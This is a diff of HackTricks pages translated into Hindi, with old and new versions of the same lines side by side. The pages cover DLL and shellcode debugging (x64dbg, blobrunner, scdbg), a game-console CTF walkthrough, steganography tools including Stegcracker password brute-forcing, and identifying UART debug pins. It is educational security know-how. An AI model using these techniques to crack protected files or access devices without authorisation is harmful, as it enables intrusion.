फिर, जब आप डिबगिंग शुरू करते हैं **प्रत्येक DLL लोड होने पर निष्पादन रोका जाएगा**, फिर, जब rundll32 आपके DLL को लोड करेगा तो निष्पादन रोका जाएगा।
|
||||
|
||||
लेकिन, आप उस कोड तक कैसे पहुँच सकते हैं जो DLL लोड किया गया था? इस विधि का उपयोग करके, मुझे नहीं पता।
|
||||
लेकिन, आप उस DLL के कोड तक कैसे पहुँच सकते हैं जो लोड किया गया था? इस विधि का उपयोग करके, मुझे नहीं पता।
|
||||
|
||||
### x64dbg/x32dbg का उपयोग करना
|
||||
|
||||
* **rundll32 लोड करें** (64बिट C:\Windows\System32\rundll32.exe में और 32 बिट C:\Windows\SysWOW64\rundll32.exe में)
|
||||
* **Command Line बदलें** (_File --> Change Command Line_) और DLL का पथ और उस फ़ंक्शन को सेट करें जिसे आप कॉल करना चाहते हैं, उदाहरण के लिए: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
|
||||
* _Options --> Settings_ में बदलाव करें और "**DLL Entry**" चुनें।
|
||||
* **rundll32** लोड करें (64बिट C:\Windows\System32\rundll32.exe में और 32 बिट C:\Windows\SysWOW64\rundll32.exe में)
|
||||
* **Command Line** बदलें (_File --> Change Command Line_) और DLL का पथ और जिस फ़ंक्शन को आप कॉल करना चाहते हैं, उसे सेट करें, उदाहरण के लिए: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
|
||||
* _Options --> Settings_ में जाएं और "**DLL Entry**" का चयन करें।
|
||||
* फिर **निष्पादन शुरू करें**, डिबगर प्रत्येक DLL मुख्य पर रुकेगा, किसी बिंदु पर आप **अपने DLL के DLL Entry में रुकेंगे**। वहां से, बस उन बिंदुओं की खोज करें जहाँ आप एक ब्रेकपॉइंट रखना चाहते हैं।
|
||||
|
||||
ध्यान दें कि जब निष्पादन किसी कारण से win64dbg में रुका होता है, तो आप **किस कोड में हैं** यह **win64dbg विंडो के शीर्ष पर** देख सकते हैं:
|
||||
ध्यान दें कि जब निष्पादन किसी कारणवश win64dbg में रुका होता है, तो आप **win64dbg विंडो के शीर्ष पर** देख सकते हैं कि आप **किस कोड में** हैं:
|
||||
|
||||
![](<../../.gitbook/assets/image (842).png>)
|
||||
|
||||
फिर, इसे देखते हुए आप देख सकते हैं कि जब निष्पादन उस DLL में रुका जिसे आप डिबग करना चाहते हैं।
|
||||
फिर, इसे देखते हुए आप देख सकते हैं कि निष्पादन उस DLL में कब रुका जिसे आप डिबग करना चाहते हैं।
|
||||
|
||||
## GUI Apps / Videogames
|
||||
|
||||
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) एक उपयोगी प्रोग्राम है जो यह पता लगाने में मदद करता है कि महत्वपूर्ण मान कहाँ चल रहे खेल की मेमोरी में सहेजे गए हैं और उन्हें बदलता है। अधिक जानकारी के लिए:
|
||||
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) एक उपयोगी प्रोग्राम है जो यह पता लगाने में मदद करता है कि महत्वपूर्ण मान कहाँ संग्रहीत हैं और उन्हें बदलता है। अधिक जानकारी के लिए:
|
||||
|
||||
{% content-ref url="cheat-engine.md" %}
|
||||
[cheat-engine.md](cheat-engine.md)
|
||||
|
@ -183,8 +175,8 @@ iisreset /noforce
|
|||
|
||||
### blobrunner के साथ shellcode का डिबगिंग
|
||||
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner) **shellcode** को मेमोरी के एक स्थान के अंदर **आवंटित** करेगा, आपको **मेमोरी पते** को **संकेत** करेगा जहाँ shellcode आवंटित किया गया था और निष्पादन को **रोक** देगा।\
|
||||
फिर, आपको प्रक्रिया से **एक डिबगर** (Ida या x64dbg) को संलग्न करना होगा और **संकेतित मेमोरी पते पर एक ब्रेकपॉइंट** रखना होगा और निष्पादन को **जारी** करना होगा। इस तरह आप shellcode का डिबगिंग कर रहे होंगे।
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner) **shellcode** को मेमोरी के एक स्थान के अंदर **allocate** करेगा, आपको **memory address** बताएगा जहाँ shellcode आवंटित किया गया था और निष्पादन को **रोक देगा**।\
|
||||
फिर, आपको प्रक्रिया से **एक डिबगर** (Ida या x64dbg) को संलग्न करना होगा और **संकेतित मेमोरी पते पर एक ब्रेकपॉइंट** रखना होगा और निष्पादन को **जारी** करना होगा। इस तरह आप shellcode का डिबगिंग करेंगे।
|
||||
|
||||
रिलीज़ गिटहब पृष्ठ में संकलित रिलीज़ वाले ज़िप शामिल हैं: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
आप निम्नलिखित लिंक में Blobrunner का थोड़ा संशोधित संस्करण पा सकते हैं। इसे संकलित करने के लिए बस **Visual Studio Code में एक C/C++ प्रोजेक्ट बनाएं, कोड को कॉपी और पेस्ट करें और इसे बनाएं**।
|
||||
|
@ -195,11 +187,11 @@ iisreset /noforce
|
|||
|
||||
### jmp2it के साथ shellcode का डिबगिंग
|
||||
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) blobrunner के समान है। यह **shellcode** को मेमोरी के एक स्थान के अंदर **आवंटित** करेगा, और एक **अनंत लूप** शुरू करेगा। फिर आपको प्रक्रिया से **डिबगर को संलग्न करना होगा**, **2-5 सेकंड के लिए प्रतीक्षा करें और रोकें** और आप **अनंत लूप** के अंदर पाएंगे। अनंत लूप के अगले निर्देश पर कूदें क्योंकि यह shellcode को कॉल करेगा, और अंततः आप shellcode को निष्पादित करते हुए पाएंगे।
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) blobrunner के समान है। यह **shellcode** को मेमोरी के एक स्थान के अंदर **allocate** करेगा, और एक **eternal loop** शुरू करेगा। फिर आपको प्रक्रिया से **डिबगर** को संलग्न करना होगा, **2-5 सेकंड प्रतीक्षा करें और रोकें** और आप **eternal loop** के अंदर पाएंगे। अनंत लूप के अगले निर्देश पर कूदें क्योंकि यह shellcode को कॉल करेगा, और अंततः आप shellcode को निष्पादित करते हुए पाएंगे।
|
||||
|
||||
![](<../../.gitbook/assets/image (509).png>)
|
||||
|
||||
आप [jmp2it के संकलित संस्करण को रिलीज़ पृष्ठ पर](https://github.com/adamkramer/jmp2it/releases/) डाउनलोड कर सकते हैं।
|
||||
आप [jmp2it के रिलीज़ पृष्ठ पर](https://github.com/adamkramer/jmp2it/releases/) एक संकलित संस्करण डाउनलोड कर सकते हैं।
|
||||
|
||||
### Cutter का उपयोग करके shellcode का डिबगिंग
|
||||
|
||||
|
@ -219,10 +211,10 @@ iisreset /noforce
|
|||
|
||||
![](<../../.gitbook/assets/image (186).png>)
|
||||
|
||||
### shellcode को डिओबफस्केट करना और निष्पादित फ़ंक्शंस प्राप्त करना
|
||||
### shellcode को deobfuscate करना और निष्पादित फ़ंक्शंस प्राप्त करना
|
||||
|
||||
आपको [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152) का प्रयास करना चाहिए।\
|
||||
यह आपको बताएगा कि **कौन से फ़ंक्शन** shellcode का उपयोग कर रहा है और क्या shellcode **स्वयं को मेमोरी में डिकोड** कर रहा है।
|
||||
यह आपको बताएगा कि **कौन से फ़ंक्शन** shellcode का उपयोग कर रहा है और क्या shellcode **स्वयं को डिकोड** कर रहा है।
|
||||
```bash
|
||||
scdbg.exe -f shellcode # Get info
|
||||
scdbg.exe -f shellcode -r #show analysis report at end of run
|
||||
|
@ -235,7 +227,7 @@ scDbg में एक ग्राफिकल लॉन्चर भी है
|
|||
|
||||
![](<../../.gitbook/assets/image (258).png>)
|
||||
|
||||
**Create Dump** विकल्प अंतिम शेलकोड को डंप करेगा यदि शेलकोड में मेमोरी में गतिशील रूप से कोई परिवर्तन किया गया है (डिकोडेड शेलकोड डाउनलोड करने के लिए उपयोगी)। **start offset** किसी विशेष ऑफसेट पर शेलकोड शुरू करने के लिए उपयोगी हो सकता है। **Debug Shell** विकल्प शेलकोड को scDbg टर्मिनल का उपयोग करके डिबग करने के लिए उपयोगी है (हालांकि मुझे पहले बताए गए किसी भी विकल्प को इस मामले के लिए बेहतर लगता है क्योंकि आप Ida या x64dbg का उपयोग कर सकेंगे)।
|
||||
**Create Dump** विकल्प अंतिम शेलकोड को डंप करेगा यदि शेलकोड में मेमोरी में गतिशील रूप से कोई परिवर्तन किया गया है (डिकोडेड शेलकोड डाउनलोड करने के लिए उपयोगी)। **start offset** किसी विशेष ऑफसेट पर शेलकोड शुरू करने के लिए उपयोगी हो सकता है। **Debug Shell** विकल्प शेलकोड को scDbg टर्मिनल का उपयोग करके डिबग करने के लिए उपयोगी है (हालांकि मुझे लगता है कि इस मामले के लिए पहले समझाए गए किसी भी विकल्प का उपयोग करना बेहतर है क्योंकि आप Ida या x64dbg का उपयोग कर सकेंगे)।
|
||||
|
||||
### CyberChef का उपयोग करके डिसएसेंबलिंग
|
||||
|
||||
|
@ -264,7 +256,7 @@ And [install keystone](https://github.com/keystone-engine/keystone/blob/master/d
|
|||
![](<../../.gitbook/assets/image (1080).png>)
|
||||
|
||||
इस मामले में बाइनरी का नाम authenticator था, इसलिए यह स्पष्ट है कि यह दिलचस्प मुख्य फ़ंक्शन है।\
|
||||
कॉल किए जा रहे **फंक्शनों** के **नाम** होने पर, उनके **इनपुट** और **आउटपुट** के बारे में जानने के लिए **इंटरनेट** पर उनकी खोज करें।
|
||||
कॉल किए जा रहे **फंक्शनों** के **नाम** होने पर, उनके **इनपुट** और **आउटपुट** के बारे में जानने के लिए उन्हें **इंटरनेट** पर खोजें।
|
||||
|
||||
## **Delphi**
|
||||
|
||||
|
@ -359,7 +351,7 @@ uVar2 = DAT_030004dc;
|
|||
uVar1 = *puVar6;
|
||||
if ((uVar1 & DAT_030004da & ~uVar4) != 0) {
|
||||
```
|
||||
अंतिम if यह जांच रहा है कि **`uVar4`** **last Keys** में है और वर्तमान कुंजी नहीं है, जिसे बटन छोड़ने के रूप में भी जाना जाता है (वर्तमान कुंजी **`uVar1`** में संग्रहीत है)।
|
||||
अंतिम if यह जांच रहा है कि **`uVar4`** **अंतिम Keys** में है और वर्तमान कुंजी नहीं है, जिसे बटन छोड़ने के रूप में भी कहा जाता है (वर्तमान कुंजी **`uVar1`** में संग्रहीत है)।
|
||||
```c
|
||||
if (uVar1 == 4) {
|
||||
DAT_030000d4 = 0;
|
||||
|
@ -389,13 +381,13 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
|
|||
```
|
||||
In the previous code you can see that we are comparing **uVar1** (the place where the **value of the pressed button** is) with some values:
|
||||
|
||||
* पहले, इसे **value 4** (**SELECT** बटन) के साथ तुलना की जाती है: इस चुनौती में यह बटन स्क्रीन को साफ करता है
|
||||
* फिर, इसे **value 8** (**START** बटन) के साथ तुलना की जाती है: इस चुनौती में यह जांचता है कि कोड फ्लैग प्राप्त करने के लिए मान्य है या नहीं।
|
||||
* इस मामले में var **`DAT_030000d8`** की तुलना 0xf3 से की जाती है और यदि मान समान है तो कुछ कोड निष्पादित होता है।
|
||||
* किसी अन्य मामलों में, कुछ cont (`DAT_030000d4`) की जांच की जाती है। यह एक cont है क्योंकि यह कोड में प्रवेश करने के तुरंत बाद 1 जोड़ता है।\
|
||||
**यदि** 8 से कम है तो कुछ ऐसा किया जाता है जो **`DAT_030000d8`** में मान जोड़ने से संबंधित है (बुनियादी रूप से यह इस चर में दबाए गए कुंजियों के मानों को जोड़ता है जब तक कि cont 8 से कम है)।
|
||||
* First, it's compared with the **value 4** (**SELECT** button): इस चुनौती में यह बटन स्क्रीन को साफ करता है
|
||||
* Then, it's comparing it with the **value 8** (**START** button): इस चुनौती में यह जांचता है कि कोड फ्लैग प्राप्त करने के लिए मान्य है या नहीं।
|
||||
* In this case the var **`DAT_030000d8`** is compared with 0xf3 and if the value is the same some code is executed.
|
||||
* In any other cases, some cont (`DAT_030000d4`) is checked. It's a cont because it's adding 1 right after entering in the code.\
|
||||
**I**f less than 8 something that involves **adding** values to \*\*`DAT_030000d8` \*\* is done (basically it's adding the values of the keys pressed in this variable as long as the cont is less than 8).
|
||||
|
||||
तो, इस चुनौती में, बटनों के मानों को जानकर, आपको **8 से छोटे लंबाई का एक संयोजन दबाना था जिसका परिणामस्वरूप जोड़ 0xf3 है।**
|
||||
So, in this challenge, knowing the values of the buttons, you needed to **press a combination with a length smaller than 8 that the resulting addition is 0xf3.**
|
||||
|
||||
**Reference for this tutorial:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
|
||||
|
||||
|
@ -408,12 +400,6 @@ In the previous code you can see that we are comparing **uVar1** (the place wher
|
|||
* [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering)
|
||||
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Binary deobfuscation)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## **फाइलों से डेटा निकालना**
|
||||
|
||||
### **Binwalk**
|
||||
|
@ -47,13 +39,13 @@ exiftool file # Shows the metadata
|
|||
```
|
||||
### **Exiv2**
|
||||
|
||||
exiftool के समान, मेटाडेटा देखने के लिए। `apt` के माध्यम से स्थापित किया जा सकता है, स्रोत [GitHub](https://github.com/Exiv2/exiv2) पर है, और इसका [आधिकारिक वेबसाइट](http://www.exiv2.org/) है।
|
||||
Exiftool के समान, मेटाडेटा देखने के लिए। `apt` के माध्यम से स्थापित किया जा सकता है, स्रोत [GitHub](https://github.com/Exiv2/exiv2) पर है, और इसका [आधिकारिक वेबसाइट](http://www.exiv2.org/) है।
|
||||
```bash
|
||||
exiv2 file # Shows the metadata
|
||||
```
|
||||
### **फाइल**
|
||||
|
||||
जिस प्रकार की फाइल आप निपट रहे हैं, उसे पहचानें।
|
||||
आप जिस फाइल से निपट रहे हैं, उसके प्रकार की पहचान करें।
|
||||
|
||||
### **स्ट्रिंग्स**
|
||||
|
||||
|
@ -71,11 +63,11 @@ strings -e B -n 6 file # 32bit strings (big-endian)
|
|||
```
|
||||
### **Comparison (cmp)**
|
||||
|
||||
संशोधित फ़ाइल की तुलना उसके ऑनलाइन पाए गए मूल संस्करण से करने के लिए उपयोगी।
|
||||
संशोधित फ़ाइल की तुलना ऑनलाइन पाए गए इसके मूल संस्करण से करने के लिए उपयोगी।
|
||||
```bash
|
||||
cmp original.jpg stego.jpg -b -l
|
||||
```
|
||||
## **छिपे हुए डेटा को टेक्स्ट में निकालना**
|
||||
## **छिपे हुए डेटा को निकालना**
|
||||
|
||||
### **स्पेस में छिपा डेटा**
|
||||
|
||||
|
@ -89,13 +81,13 @@ cmp original.jpg stego.jpg -b -l
|
|||
```bash
|
||||
./magick identify -verbose stego.jpg
|
||||
```
|
||||
एक क्षतिग्रस्त छवि पर मरम्मत करने का प्रयास करने के लिए, एक मेटाडेटा टिप्पणी जोड़ना सहायक हो सकता है:
|
||||
एक क्षतिग्रस्त छवि की मरम्मत करने के लिए, एक मेटाडेटा टिप्पणी जोड़ना मदद कर सकता है:
|
||||
```bash
|
||||
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
|
||||
```
|
||||
### **Steghide के लिए डेटा छिपाना**
|
||||
|
||||
Steghide `JPEG, BMP, WAV, और AU` फ़ाइलों के भीतर डेटा छिपाने की सुविधा प्रदान करता है, जो एन्क्रिप्टेड डेटा को एम्बेड और निकालने में सक्षम है। इंस्टॉलेशन `apt` का उपयोग करके सीधा है, और इसका [स्रोत कोड GitHub पर उपलब्ध है](https://github.com/StefanoDeVuono/steghide)।
|
||||
Steghide `JPEG, BMP, WAV, और AU` फ़ाइलों के भीतर डेटा छिपाने की सुविधा प्रदान करता है, जो एन्क्रिप्टेड डेटा को एम्बेड और निकालने में सक्षम है। इंस्टॉलेशन `apt` का उपयोग करके सीधा है, और इसका [स्रोत कोड GitHub पर उपलब्ध है](https://github.com/StefanoDeVuono/steghide).
|
||||
|
||||
**कमांड:**
|
||||
|
||||
|
@ -104,7 +96,7 @@ Steghide `JPEG, BMP, WAV, और AU` फ़ाइलों के भीतर
|
|||
|
||||
वेब-आधारित निष्कर्षण के लिए, [इस वेबसाइट](https://futureboy.us/stegano/decinput.html) पर जाएं।
|
||||
|
||||
**Stegcracker के साथ ब्रूटफोर्स हमला:**
|
||||
**Stegcracker के साथ ब्रूटफोर्स अटैक:**
|
||||
|
||||
* Steghide पर पासवर्ड क्रैक करने का प्रयास करने के लिए, [stegcracker](https://github.com/Paradoxis/StegCracker.git) का उपयोग करें:
|
||||
```bash
|
||||
|
@ -121,13 +113,13 @@ zsteg PNG और BMP फ़ाइलों में छिपे डेटा
|
|||
|
||||
### **StegoVeritas and Stegsolve**
|
||||
|
||||
**stegoVeritas** मेटाडेटा की जांच करता है, छवि रूपांतरण करता है, और अन्य सुविधाओं के बीच LSB ब्रूट फोर्सिंग लागू करता है। विकल्पों की पूरी सूची के लिए `stegoveritas.py -h` का उपयोग करें और सभी जांचों को निष्पादित करने के लिए `stegoveritas.py stego.jpg` का उपयोग करें।
|
||||
**stegoVeritas** मेटाडेटा की जांच करता है, छवि रूपांतरण करता है, और अन्य सुविधाओं के बीच LSB ब्रूट फोर्सिंग लागू करता है। विकल्पों की पूरी सूची के लिए `stegoveritas.py -h` का उपयोग करें और सभी जांच करने के लिए `stegoveritas.py stego.jpg` चलाएँ।
|
||||
|
||||
**Stegsolve** छवियों के भीतर छिपे पाठ या संदेशों को प्रकट करने के लिए विभिन्न रंग फ़िल्टर लागू करता है। यह [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) पर उपलब्ध है।
|
||||
|
||||
### **FFT for Hidden Content Detection**
|
||||
|
||||
फास्ट फूरियर ट्रांसफॉर्म (FFT) तकनीकें छवियों में छिपे हुए सामग्री को उजागर कर सकती हैं। उपयोगी संसाधनों में शामिल हैं:
|
||||
Fast Fourier Transform (FFT) तकनीकें छवियों में छिपे हुए सामग्री को उजागर कर सकती हैं। उपयोगी संसाधनों में शामिल हैं:
|
||||
|
||||
* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
||||
|
@ -182,7 +174,7 @@ python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
|
|||
```
|
||||
### **Deepsound**
|
||||
|
||||
Deepsound ध्वनि फ़ाइलों के भीतर जानकारी के एन्क्रिप्शन और पहचान की अनुमति देता है, जो AES-256 का उपयोग करता है। इसे [आधिकारिक पृष्ठ](http://jpinsoft.net/deepsound/download.aspx) से डाउनलोड किया जा सकता है।
|
||||
Deepsound ध्वनि फ़ाइलों के भीतर जानकारी को AES-256 का उपयोग करके एन्क्रिप्ट और पहचानने की अनुमति देता है। इसे [आधिकारिक पृष्ठ](http://jpinsoft.net/deepsound/download.aspx) से डाउनलोड किया जा सकता है।
|
||||
|
||||
### **Sonic Visualizer**
|
||||
|
||||
|
@ -212,12 +204,6 @@ For binary to image conversion, check [dcode](https://www.dcode.fr/binary-image)
|
|||
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,54 +15,41 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **फ्री** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या उसके ग्राहक **संपर्कित** हैं **चोरी करने वाले मालवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य खाता अधिग्रहण और रैंसमवेयर हमलों से लड़ना है जो जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप होते हैं।
|
||||
|
||||
आप उनकी वेबसाइट देख सकते हैं और **फ्री** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Basic Information
|
||||
|
||||
UART एक सीरियल प्रोटोकॉल है, जिसका अर्थ है कि यह डेटा को एक समय में एक बिट के रूप में घटकों के बीच स्थानांतरित करता है। इसके विपरीत, समानांतर संचार प्रोटोकॉल डेटा को एक साथ कई चैनलों के माध्यम से प्रसारित करते हैं। सामान्य सीरियल प्रोटोकॉल में RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express, और USB शामिल हैं।
|
||||
|
||||
आमतौर पर, लाइन को उच्च (एक तार्किक 1 मान पर) रखा जाता है जबकि UART निष्क्रिय स्थिति में होता है। फिर, डेटा ट्रांसफर की शुरुआत को संकेत देने के लिए, ट्रांसमीटर रिसीवर को एक स्टार्ट बिट भेजता है, जिसके दौरान सिग्नल को निम्न (एक तार्किक 0 मान पर) रखा जाता है। इसके बाद, ट्रांसमीटर वास्तविक संदेश को शामिल करते हुए पांच से आठ डेटा बिट्स भेजता है, इसके बाद एक वैकल्पिक पैरीटी बिट और एक या दो स्टॉप बिट्स (एक तार्किक 1 मान के साथ) होते हैं, जो कॉन्फ़िगरेशन के आधार पर होते हैं। पैरीटी बिट, जिसका उपयोग त्रुटि जांच के लिए किया जाता है, प्रायः व्यावहारिक रूप से नहीं देखा जाता है। स्टॉप बिट (या बिट्स) ट्रांसमिशन के अंत को दर्शाते हैं।
|
||||
आमतौर पर, लाइन को उच्च (एक तार्किक 1 मान पर) रखा जाता है जबकि UART निष्क्रिय स्थिति में होता है। फिर, डेटा ट्रांसफर की शुरुआत को संकेत देने के लिए, ट्रांसमीटर रिसीवर को एक स्टार्ट बिट भेजता है, जिसके दौरान सिग्नल को निम्न (एक तार्किक 0 मान पर) रखा जाता है। इसके बाद, ट्रांसमीटर वास्तविक संदेश को शामिल करते हुए पांच से आठ डेटा बिट्स भेजता है, इसके बाद एक वैकल्पिक पैरीटी बिट और एक या दो स्टॉप बिट्स (एक तार्किक 1 मान के साथ) होते हैं, जो कॉन्फ़िगरेशन के आधार पर होते हैं। पैरीटी बिट, जिसका उपयोग त्रुटि जांच के लिए किया जाता है, व्यावहारिक रूप से कभी-कभी देखा जाता है। स्टॉप बिट (या बिट्स) ट्रांसमिशन के अंत का संकेत देते हैं।
|
||||
|
||||
हम सबसे सामान्य कॉन्फ़िगरेशन को 8N1 कहते हैं: आठ डेटा बिट्स, कोई पैरीटी नहीं, और एक स्टॉप बिट। उदाहरण के लिए, यदि हम अक्षर C, या ASCII में 0x43, को 8N1 UART कॉन्फ़िगरेशन में भेजना चाहते हैं, तो हम निम्नलिखित बिट्स भेजेंगे: 0 (स्टार्ट बिट); 0, 1, 0, 0, 0, 0, 1, 1 (बाइनरी में 0x43 का मान), और 0 (स्टॉप बिट)।
|
||||
हम सबसे सामान्य कॉन्फ़िगरेशन को 8N1 कहते हैं: आठ डेटा बिट्स, कोई पैरीटी नहीं, और एक स्टॉप बिट। उदाहरण के लिए, यदि हम अक्षर C, या ASCII में 0x43 भेजना चाहते हैं, तो 8N1 UART कॉन्फ़िगरेशन में, हम निम्नलिखित बिट्स भेजेंगे: 0 (स्टार्ट बिट); 0, 1, 0, 0, 0, 0, 1, 1 (बाइनरी में 0x43 का मान), और 0 (स्टॉप बिट)।
|
||||
|
||||
![](<../../.gitbook/assets/image (764).png>)
|
||||
|
||||
UART के साथ संवाद करने के लिए हार्डवेयर उपकरण:
|
||||
|
||||
* USB-से-सीरियल एडाप्टर
|
||||
* USB-टू-सीरियल एडाप्टर
|
||||
* CP2102 या PL2303 चिप्स के साथ एडाप्टर
|
||||
* बहुउद्देशीय उपकरण जैसे: बस पायरेट, एडाफ्रूट FT232H, शिक्र, या अटिफाई बैज
|
||||
|
||||
### Identifying UART Ports
|
||||
|
||||
UART के 4 पोर्ट होते हैं: **TX**(Transmit), **RX**(Receive), **Vcc**(Voltage), और **GND**(Ground)। आप PCB पर **`TX`** और **`RX`** अक्षरों के साथ 4 पोर्ट पा सकते हैं। लेकिन यदि कोई संकेत नहीं है, तो आपको **मल्टीमीटर** या **लॉजिक एनालाइज़र** का उपयोग करके उन्हें स्वयं खोजने की आवश्यकता हो सकती है।
|
||||
UART के 4 पोर्ट होते हैं: **TX**(Transmit), **RX**(Receive), **Vcc**(Voltage), और **GND**(Ground)। आप PCB में **`TX`** और **`RX`** अक्षरों के साथ 4 पोर्ट पा सकते हैं। लेकिन यदि कोई संकेत नहीं है, तो आपको **मल्टीमीटर** या **लॉजिक एनालाइज़र** का उपयोग करके उन्हें स्वयं खोजने की आवश्यकता हो सकती है।
|
||||
|
||||
एक **मल्टीमीटर** के साथ और डिवाइस बंद होने पर:
|
||||
|
||||
* **GND** पिन की पहचान करने के लिए **कॉन्टिन्यूटी टेस्ट** मोड का उपयोग करें, पीछे के लीड को ग्राउंड में रखें और लाल लीड के साथ परीक्षण करें जब तक कि आप मल्टीमीटर से ध्वनि न सुनें। PCB पर कई GND पिन मिल सकते हैं, इसलिए आप UART से संबंधित पिन पा सकते हैं या नहीं।
|
||||
* **GND** पिन की पहचान करने के लिए **Continuity Test** मोड का उपयोग करें, पीछे के लीड को ग्राउंड में रखें और लाल लीड के साथ परीक्षण करें जब तक कि आप मल्टीमीटर से ध्वनि न सुनें। PCB में कई GND पिन मिल सकते हैं, इसलिए आप UART से संबंधित पिन पा सकते हैं या नहीं।
|
||||
* **VCC पोर्ट** की पहचान करने के लिए, **DC वोल्टेज मोड** सेट करें और इसे 20 V वोल्टेज पर सेट करें। काले प्रॉब को ग्राउंड पर और लाल प्रॉब को पिन पर रखें। डिवाइस को चालू करें। यदि मल्टीमीटर 3.3 V या 5 V का स्थिर वोल्टेज मापता है, तो आपने Vcc पिन पा लिया है। यदि आपको अन्य वोल्टेज मिलते हैं, तो अन्य पोर्ट के साथ पुनः प्रयास करें।
|
||||
* **TX** **पोर्ट** की पहचान करने के लिए, **DC वोल्टेज मोड** को 20 V वोल्टेज तक सेट करें, काले प्रॉब को ग्राउंड पर और लाल प्रॉब को पिन पर रखें, और डिवाइस को चालू करें। यदि आप पाते हैं कि वोल्टेज कुछ सेकंड के लिए उतार-चढ़ाव करता है और फिर Vcc मान पर स्थिर हो जाता है, तो आपने सबसे अधिक संभावना TX पोर्ट पा लिया है। इसका कारण यह है कि जब इसे चालू किया जाता है, तो यह कुछ डिबग डेटा भेजता है।
|
||||
* **TX** **पोर्ट** की पहचान करने के लिए, **DC वोल्टेज मोड** को 20 V वोल्टेज तक सेट करें, काले प्रॉब को ग्राउंड पर और लाल प्रॉब को पिन पर रखें, और डिवाइस को चालू करें। यदि आप पाते हैं कि वोल्टेज कुछ सेकंड के लिए उतार-चढ़ाव करता है और फिर Vcc मान पर स्थिर हो जाता है, तो आपने सबसे अधिक संभावना TX पोर्ट पा लिया है। इसका कारण यह है कि जब पावर ऑन होता है, तो यह कुछ डिबग डेटा भेजता है।
|
||||
* **RX पोर्ट** अन्य 3 के सबसे करीब होगा, इसमें सबसे कम वोल्टेज उतार-चढ़ाव और सभी UART पिनों का सबसे कम कुल मान होगा।
|
||||
|
||||
आप TX और RX पोर्ट को भ्रमित कर सकते हैं और कुछ नहीं होगा, लेकिन यदि आप GND और VCC पोर्ट को भ्रमित करते हैं तो आप सर्किट को जला सकते हैं।
|
||||
|
||||
